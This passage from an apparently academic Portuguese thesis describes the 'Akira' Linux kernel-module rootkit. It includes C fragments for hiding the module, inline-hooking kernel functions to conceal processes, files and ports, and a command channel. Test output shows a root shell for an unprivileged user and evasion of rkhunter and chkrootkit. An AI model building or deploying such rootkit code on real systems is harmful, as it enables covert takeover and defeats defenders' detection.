reinici-3.5.2
Controle
Deverá prover uma interface de comunicação entre o atacante e o módulo, permitindo que as ações programadas no rootkit sejam acionadas.
3.5.3
Furtividade
Deve se esconder sua presença do gerencimento de módulos do linux, tanto quanto arqui-vos, portas de conexão e processos de forma arbitrária.
3.5.4
Monitoramento
Salvar logs de ações efetudas no sistema e registrar todos os dados entrada fornecidos pelo usuário, como por exemplo os advindos de dispositivos(teclado) de I/O - input/output. Comumente, programas projetados para esse fim são chamados de keylogger.
3.5.5
Persistência
O rootkit deve ser carregado durante o processo de inicialização do sistema, garantir acessibilidade ao atacante (backdoor) e evitar a retirada do LKM do kernel.
3.6
Arquitetura
Segue abaixo o diagrama de alto nível o qual descreve o projeto Akira.
Figura 3.1: Diagrama de alto nível.
O ponto de entrada do akira(main) interage primeiramente com o hide module, após retirar o akira da lista de módulos e protegê-lo o componente Inline hook engine é convo-cado. Este irá realizar uma sequência de passos: chamará o módulo choose para escolher o hook code; get function address será acionado em seguida para adquirir todos os endere-ços das funções, tanto as funções definidas no rootkit quanto as funções do kernel ao qual será aplicado o hook; a entidade(hook entity) principal será montada no módulo mount; o módulo write receberá a hook entity e o hook code será escrito nas funções alvo.
O módulo command and control serve como uma interface entre o atacante e o rootkit, sendo acionado quando o mesmo desejar.
Tendo como base o diagrama os seguintes componentes serão detalhados a seguir.
3.6.1
hide module
static inline void module_del(void) { list_del(&THIS_MODULE->list); kobject_del(&THIS_MODULE->mkobj.kobj); list_del(&THIS_MODULE->mkobj.kobj.entry); }
3.6.2
hook entity
Entidade(estrutura) responsável por descrever e guardar os valores necessários para efe-tuar o hook. Essa entidade irá ser passada como parâmetro a diversos módulos.
/* generic hook entity */ typedef struct _hook_t {
/* target function address (kernel function) */ void *target;
/* custom function address (new function) */ void *custom;
/* bridge function address (trampoline function) */ void *bridge;
/* hook code */
uint8_t hook_code[HOOK_CODE_MAX]; /* original code which was stolen */ uint8_t orig_code[ORIG_CODE_MAX]; /* bridge code */
uint8_t bridge_code[BRIDGE_CODE_MAX]; /* hook code size in bytes */
size_t hook_size;
/* original code size in bytes */ size_t orig_size;
/* bridge code size in bytes */ size_t bridge_size;
} hook_t;
3.6.3
hook routine entity
Essa entidade é utilizada para escolher o tipo de hook a ser usado. /* generic hook method entity */
typedef struct _hook_method_t {
/* the index where will be inserted the custom functions address (one or more) */ uint8_t index[HOOK_INDEX_MAX];
/* indexes number */ uint8_t in;
/* the hook method (jmp, pushret, call, etc..) code */ uint8_t code[HOOK_CODE_MAX];
/* the code size in bytes */ size_t size;
} hook_method_t;
3.6.4
choose
Este módulo recebe como entrada a estrutura hook_method_t e um selecionador. Com esse parâmetros o hook code correto é escolhido, porém esse componente é referente a uma determinada arquitetura, o akira suporta as arquiteturas: arm, intel x86, intel x64.
Código para a arquitetura intel x86 : ...
static const uint8_t *hook_method_table[] = {
"\x68\x00\x00\x00\x00\xc3", // push $addr, ret "\xe9\x00\x00\x00\x00" // jmp $addr };
void _choose_hook_method(hook_method_t *hook_method, hook_type type) { switch(type) { case HOOK_TYPE_X86_PUSH_RET: hook_method->size = 6; hook_method->index[0] = 1; hook_method->in = 1; memcpy(hook_method->code, hook_method_table[type], hook_method->size); break; case HOOK_TYPE_X86_JMP:
hook_method->size = 5; hook_method->index[0] = 1; hook_method->in = 1; memcpy(hook_method->code, hook_method_table[type], hook_method->size); break; ... } ...
3.6.5
get functions address
Este componente irá adquirir as funções ao qual o hook será efetuado. ...
void *get_vfs_iterate(const char *path) {
void *ret = NULL; struct file *filp;
if ((filp = filp_open(path, O_RDONLY, 0)) != NULL) { ret = filp->f_op->ITERATE_NAME; filp_close(filp, 0); } return ret; } ...
Os procedimentos de interesse ao akira são: • inet_ioctl • proc_readdir • readdir • tcp4_seq_show • tcp6_seq_show • udp4_seq_show • udp6_seq_show
3.6.6
mount
Receberá a entidade hook_method_t e a partir desta irá montar a entidade hook_t. Todos os códigos necessários e cálculo de offsets para o funcionamento do inline hook serão efetuados nesse módulo.
...
bool mount_hook(hook_t *hook, hook_method_t *hook_method) {
size_t offset = get_offset(hook->target, hook_method->size);
if (offset && ((offset + hook_method->size) < CODE_MAX)) { mount_orig_code(hook, offset);
mount_hook_code(hook, hook_method, offset); mount_bridge_code(hook, hook_method, offset); return true;
}
return false; }
3.6.7
write
Após a entidade hook_t for montada será escrito nos endereços das funções seus hook
codes referentes.
...
void _write_hook(hook_t *hook) {
list_t *new = NULL; unsigned long cr0 = 0; uint8_t i;
cr0 = disable_wp();
memcpy(hook->target, hook->hook_code, hook->hook_size); restore_wp(cr0);
list_push(hook, &new); }
3.6.8
hooked function
Cada função descrita na tabela representa um módulo separado, responsável por imple-mentar a lógica relacionada ao funcionamento do rootkit, através da interceptação dos procedimentos originais.
Tabela 3.1: Descrição do hook final
função original função ponte função própria motivação
inet_ioctl brigde_inet_ioctl new_inet_ioctl prover comunicação entre o atacante e o
akira
proc_readdir brigde_proc_readdir new_proc_readdir esconder processos
readdir brigde_readdir new_readdir esconder arquivos e diretórios tcp4_seq_show bridge _tcp4_seq_show new _tcp4_seq_show esconder portas do protocolo tcp/ipv4 tcp6_seq_show bridge _tcp4_seq_show new _tcp4_seq_show esconder portas do protocolo tcp/ipv6 udp4_seq_show bridge _udp4_seq_show new _udp4_seq_show esconder portas do protocolo udp/ipv4 udp6_seq_show bridge _udp6_seq_show new _udp6_seq_show esconder portas do protocolo udp/ipv6
Com exceção da função new_inet_ioctl todas as outras funções interceptadoras(new*) irão acessar uma lista e verificar se o valor de retorno da função original está contido naquela lista, caso seja verdade, esse elemento será suprimido, provendo assim a funcio-nalidade de esconder certos elementos do usuário.
A função new_inet_ioctl recebe os dados vindo do atacante e se comunica com o módulo command and control para efetuar as acões desejadas.
3.6.9
command and control
Os comandos disponiveis são descritos a seguir:
Exec as root
Hide/Show proc
Adiciona ou retira um identificador de processo(pid) da lista de processos escondidos. Essa lista será verificada pela função interceptadora new_proc_readdir e filtrará todas as entradas encontradas na mesma.
Hide/Show file
Adiciona ou retira um arquivo ou diretório da lista de arquivos escondidos. Essa lista será verificada pela função interceptadora new_readdir e filtrará todas as entradas encontradas na mesma.
Hide/Show tcp/udp port
Adiciona ou retira uma porta de um protocolo especifico da lista de portas escondidas. Essa lista será verificada pela função interceptadora new_*_seq_show e filtrará todas as entradas encontradas na mesma.
Capítulo 4
Testes
4.1
Testes de funcionalidade
Serão apresentados a seguir os testes das funcinalidade apresentadas ateriormente. Um programa chamado client foi implementado para realizar a intereção com o rootkit akira. A usubilidade do client é listada a paritir do comando help.
$ ./client help [cmd] : help exec hide show <option> : proc file <protocol> <protocol> : tcp4 - tcp ipv4 tcp6 - tcp ipv6 udp4 - udp ipv4 udp6 - udp ipv6
<porttype> :
destp - destination port
[arg] :
elf - executable path pid - pid number ino - ino number
usage : ./client [cmd] <option> <porttype> [arg] examples : ./client exec /bin/sh
: ./client hide proc 1100 : ./client hide file .blah : ./client show proc 1100 : ./client show file .blah : ./client hide udp6 srcp 11457
4.1.1
Escalar privilégio
O objetivo deste teste é executar um comando no contexto de super usuário(root) a partir de uma conta pouco privilegiada. Com o comando id podemos nos certificar em que privilégio nós encontramos.
user@linux:/tmp/test$ id
uid=1000(user) gid=1000(user) groups=1000(user)
O comando ./client exec irá executar qualquer outro processo no contexto de root. Logo, será passado como parâmetro a interpretador de comandados sh. Sendo assim temos:
user@linux:/tmp/test$./client exec /bin/sh # id
uid=0(root) gid=0(root) groups=0(root) #
Utilizamos o comando id novamente para se certificar que estamos em uma shell com privilegios de root.
4.1.2
Esconder/mostrar um processo
Este teste tem como objetivo esconder um processo, para listar os processos usamos o comando ps aux.
user@linux:/tmp/test$ ps aux ... root 461 0.0 0.2 4008 2892 tty1 Ss 17:56 0:00 /bin/login --Debian-+ 675 0.0 0.3 9936 3260 ? root 682 0.0 0.4 6500 4596 tty1 root 702 0.0 0.5 10980 5340 ? user 704 0.0 0.3 10980 3272 ? user 705 0.0 0.4 6552 4652 pts/0 root 758 0.0 0.0 0 0 ? S root 773 0.0 0.0 0 0 ? S user 774 0.0 0.2 4772 2404 pts/0 ...
Após a escolha do processo a ser escondido utilizamos o comando ./client hide proc passando como parâmetro o pid do processo alvo(Debian-+).
user@linux:/tmp/test$ ./client hide proc 675 ioctl: Success args.srcp = 0 args.destp = 0 args.pid = 675 args.cmd = 1 args.list = 6 args.i_ino = 0
Para verificar se o processo foi realmente escondido vamos utilizar o mesmo comando
ps aux com o auxilio do grep - um pequeno programa utilizado para filtrar texto. Sendo
assim temos:
user@linux:/tmp/test$ ps aux | grep 675
user 793 0.0 0.2 4556 2136 pts/0 grep 675
Para mostrar novamente o processo escondido na lista de processos, basta executar o comando ./client show proc passando como parâmetro o pid do mesmo.
ioctl: Success args.srcp = 0 args.destp = 0 args.pid = 675 args.cmd = 2 args.list = 6 args.i_ino = 0
user@linux:/tmp/test$ ps aux | grep 675
Debian-+ 675 0.0 0.3 9936 3260 ? /usr/sbin/exim4 -bd -q30m user 800 0.0 0.2 4556 2328 pts/0 grep 675
user@linux:/tmp/test$
Repetimos o mesmo procedimento de listagem de processos descrito anteriormente para comprovar que o processo está novamente sendo mostrado.
4.1.3
Esconder/mostrar um arquivo
Vamos agora esconder um determinado arquivo. Primeiro vamos listar os arquivos do diretório /tmp com o comando ls -lai a opção -i mostra os identificador único de um arquivo/diretório.
user@linux:/tmp/test$ ls -lai total 20
147230 drwxr-xr-x 2 user user 4096 Aug 8 18:06 . 131073 drwxrwxrwt 8 root root 4096 Aug 8 18:17 ..
147232 -rwxr-xr-x 1 user user 9116 Aug 8 18:06 client 147231 -rw-r--r-- 1 user user 0 Aug 8 17:59 hideme
Para esconder o arquivo(hideme) utilizamos o comando ./client hide file passando como parâmetro seu identificador único(147231).
user@linux:/tmp/test$ ./client hide file 147231 ioctl: Success
args.srcp = 0 args.destp = 0 args.pid = 0
args.cmd = 3 args.list = 6 args.i_ino = 147231
Listamos novamente os arquivos para compravar que o mesmo foi escondido. user@linux:/tmp/test$ ls -lai
total 20
147230 drwxr-xr-x 2 user user 4096 Aug 8 18:06 . 131073 drwxrwxrwt 8 root root 4096 Aug 8 18:17 .. 147232 -rwxr-xr-x 1 user user 9116 Aug 8 18:06 client user@linux:/tmp/test$
Para mostrar o arquivo(hideme) utilizamos o comando ./client show file passando como parâmetro o seu identificador único(147231).
user@linux:/tmp/test$ ./client show file 147231 ioctl: Success args.srcp = 0 args.destp = 0 args.pid = 0 args.cmd = 4 args.list = 6 args.i_ino = 147231
Repetimos o procedimento de listagem para demonstrar que o arquivo pode ser visto normalmente.
user@linux:/tmp/test$ ls -lai total 20
147230 drwxr-xr-x 2 user user 4096 Aug 8 18:06 . 131073 drwxrwxrwt 8 root root 4096 Aug 8 18:17 ..
147232 -rwxr-xr-x 1 user user 9116 Aug 8 18:06 client 147231 -rw-r--r-- 1 user user 0 Aug 8 17:59 hideme user@linux:/tmp/test$
4.1.4
Esconder/mostrar portas de conexão
Para esconder uma porta utilizamos o comando ./client hide passando como parâmetro o protocolo, se a porta em questão é de destino ou de origem(srcp, destp) e o número da porta como parâmetros. Sendo assim, iremos listar as conexões abertas com o comando
netstat -t.
user@linux:/tmp/test$ netstat -t
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 192.168.2.141:ssh 192.168.2.123:41154 ESTABLISHED ...
O comando a ser utilizado nesse caso é: ./client hide tcp4 srcp 22. user@linux:/tmp/test$ ./client hide tcp4 srcp 22
ioctl: Success args.srcp = 22 args.destp = 0 args.pid = 0 args.cmd = 5 args.list = 2 args.i_ino = 0
Usamos novamente o comando netstat -t para listar as conexões e averiguar se a mesma foi escondida.
user@linux:/tmp/test$ netstat -t
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State Para mostrar a conexão escondida revertendo o processo anterior usamos o comando
./client show tcp4 srcp 22.
user@linux:/tmp/test$ ./client show tcp4 srcp 22 ioctl: Success
args.srcp = 22 args.destp = 0
args.pid = 0 args.cmd = 6 args.list = 2 args.i_ino = 0
Repetindo o processo de listagem das conexões, temos: user@linux:/tmp/test$ netstat -t
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 192.168.2.141:ssh 192.168.2.123:41154 ESTABLISHED user@linux:/tmp/test$
4.1.5
Módulo escondido e protegido
Primeiro vamos carregar o módulo utilizando o comando insmod se certificar que o mesmo está rodando.
root@linux:/home/user/core# insmod akira.ko root@linux:/home/user/core# dmesg | grep akira ...
[ 3220.340978] akira : main() :: is alive. ...
Certo, agora vamos tentar listar as funções do akira atráves do comando cat
/proc/-kallsyms | grep akira e retirar o módulo utilizando o comando rmmod passando como
parâmetro o nome do módulo.
root@linux:/home/user/core# cat /proc/kallsyms | grep akira root@linux:/home/user/core# rmmod akira
rmmod: ERROR: Module akira is not currently loaded root@linux:/home/user/core# exit
user@linux:/tmp/test$ ./client exec /bin/sh # id
uid=0(root) gid=0(root) groups=0(root) #
O comando ./client exec /bin/sh(descrito na seção Escalar privilégio) foi usado apenas para garantir a existência do akira no sistema.
4.2
Testes de evasão
Para testar a detectabilidade do akira iremos utilizar os programas rkhunter e chkrootkit, projetados para encontrar rootkits em um sistema infectado.
4.2.1
rkhunter
Para utilizar o rkhunter basta utilizar o comando rkhunter –check, sua saída(simplificada) é apresentada a seguir.
root@linux:/tmp# rkhunter --check ...
System checks summary =====================
File properties checks... Files checked: 145 Suspect files: 0 Rootkit checks... Rootkits checked : 379 Possible rootkits: 0 Applications checks... All checks skipped
The system checks took: 43 seconds
All results have been written to the log file: /var/log/rkhunter.log
One or more warnings have been found while checking the system. Please check the log file (/var/log/rkhunter.log)
...
Contudo, akira ainda se econtra no sistema, confirmamos essa afirmação escalando privilégio, descrito a seguir.
root@linux:/tmp/test# exit
# id
uid=0(root) gid=0(root) groups=0(root) #
4.2.2
chkrootkit
Para utilizar o chkrootkit basta utilizar o comando chkrootkit, sua saída pode ser visa a seguir.
root@linux:/tmp/test# chkrootkit ...
Searching for ENYELKM rootkit default files... nothing found Searching for common ssh-scanners default files... nothing found Searching for Linux/Ebury - Operation Windigo ssh... nothing found Searching for 64-bit Linux Rootkit ... nothing found Searching for 64-bit Linux Rootkit modules... nothing found Searching for suspect PHP files... nothing found Searching for anomalies in shell history files... nothing found
Checking ‘asp’... not infected
Checking ‘bindshell’... not infected
Checking ‘lkm’... chkproc: nothing detected chkdirs: nothing detected
Checking ‘rexedcs’... not found
Checking ‘sniffer’... lo: not promisc Checking ‘w55808’... not infected
Checking ‘wted’... chkwtmp: nothing deleted Checking ‘scalper’... not infected
Checking ‘slapper’... not infected
Checking ‘z2’... cklastlog: nothing deleted Checking ‘chkutmp’... chkutmp: nothing deleted Checking ‘OSX_RSPLUG’... not infected
Contudo, akira ainda se econtra no sistema, confirmamos essa afirmação escalando privilégio, descrito a seguir.
root@linux:/tmp/test# exit
user@linux:/tmp/test$ ./client exec /bin/sh # id
uid=0(root) gid=0(root) groups=0(root) #
Capítulo 5
Conclusão
No início deste documento, capítulo um, uma breve introdução foi apresentada e os obje-tivos do trabalho definidos. No capítulo dois, os conceitos teóricos relacionados a rootkits foram explicados, tendo como foco seus requisitos técnicos. Um framework foi implemen-tado para auxiliar a construção desse tipo particular de malware, com propósito extrita-mente acadêmico, e as suas funcionalidades foram detalhadas no capítulo três, logo com esse entendimento podemos escrever diversos rootkits e identificar suas metodologias de ataque ao sistema operacional linux. Através dos testes efetuados no capítulo quatro, suas funcionalidades foram comprovadas e como consequência os objetivos descritos no primeiro capítulo cumpridos.
Pesquisas sobre novas técnicas de hook com o foco de tonar o malware mais furtivo serão realizadas em trabalhos futuros.
Referências
[1] Introduction to linux loadable kernel modules. http://www.tldp.org/HOWTO/Module-HOWTO/x73.html. 17, 19
[2] ld.so, ld-linux.so* - dynamic linker/loader. http://man7.org/linux/man-pages/man8/ld.so.8.html. man-pages. 16
[3] Writing a linux kernel module — part 1: Introduction. http://derekmolloy.ie/writing-a-linux-kernel-module-part-1-introduction/. 18
[4] Jurriaan Bremer. x86 api hooking demystified. http://jbremer.org/x86-api-hooking-demystified/, jul 2012. 11, 12
[5] Greg Hoglund; Jamie Butler. Rootkits: Subverting the Windows Kernel Paperback. Addison-Wesley Professional, 2005. 5
[6] Michael Coppola. Suterusu rootkit: Inline kernel function hooking on x86 and arm. https://poppopret.org/2013/01/07/suterusu-rootkit-inline-kernel-function-hooking-on-x86-and-arm/, jan 2013. 15
[7] Emilio Tissato; Paulo Licio de Geus. Segurança em redes cooperativos. Novatec, first edition, 2007. 6
[8] Gustavo Duarte. Cpu rings, privilege, and protection. http://duartes.org/gustavo/blog/post/cpu-rings-privilege-and-protection, aug 2008. 8
[9] Erickson. Hacking: The Art of Exploitation. No Starch Press, second edition, feb 2008. 6
[10] Fluxius. The magic of ld_preload for userland rootkits. http://fluxius.handgrep.se/2011/10/31/the-magic-of-ld_preload-for-userland-rootkits/, oct 2011. 16
[11] Richard Gooch. Overview of the linux virtual file system. https://www.kernel.org/doc/Documentation/filesystems/vfs.txt, jan 2007. 19, 20
[12] Intel. Intel 64 and IA-32 Architectures Software Developer’s Manual. Volume 3A:R
[13] Dimitar Kostadinov. The cyber exploitation life cycle. http://resources.infosecinstitute.com/the-cyber-exploitation-life-cycle/, mar 2013. 5 [14] Jonathan Corbet; Alessandro Rubini; Greg Kroah-Hartmans. Linux Device Drivers
Linux Device Drivers. O’Reilly Media, 2005. 17
[15] Gordon Fyodor Lyon. Nmap Network Scanning: The Official Nmap Project Guide
to Network Discovery and Security Scanning. Nmap Project, jan 2009. 5
[16] MalwareTech. Inline hooking for programmers. http://www.malwaretech.com/2015/01/inline-hooking-for-programmers-part-1.html, jan 2015. 12
[17] mayhem. Ia32 advanced function hooking. http://phrack.org/issues/58/8.html, dec 2001. 11
[18] mcafee. Rootkits, part 1 of 3: The growing threat, 2006. 5
[19] microsoft. Definition and explanation of a .dll file. https://support.microsoft.com/en-us/kb/87934. 15
[20] microsoft. Dynamic-link library search order. https://msdn.microsoft.com/en-us/library/windows/desktop/ms682586(v=vs.85).aspx. 15
[21] mxatone e ivanlef0u. Stealth hooking : Another way to subvert the windows kernel. http://phrack.org/issues/65/4.html, 2008. 11
[22] Dr. Prof. Carlos A. Maziero. Sistemas Operacionais: Conceitos e Mecanismos. open book, aug 2014. 8
[23] Felix Lindner; Gerardo Richarte. The Shellcoder’s Handbook: Discovering and
Ex-ploiting Security Holes. Wiley, second edition, aug 2007. 6
[24] Julian Ryall. Tokyo homeless woman lived in stranger’s cupboard for a year. http://www.telegraph.co.uk/news/newstopics/howaboutthat/2054057/Homeless-woman-comes-out-of-closet.html, may 2008. 2
[25] Asim Kadav; Michael M. Swift. Understanding modern device drivers. http://pages.cs.wisc.edu/ kadav/study/study.pdf. University of Wisconsin-Madison. 17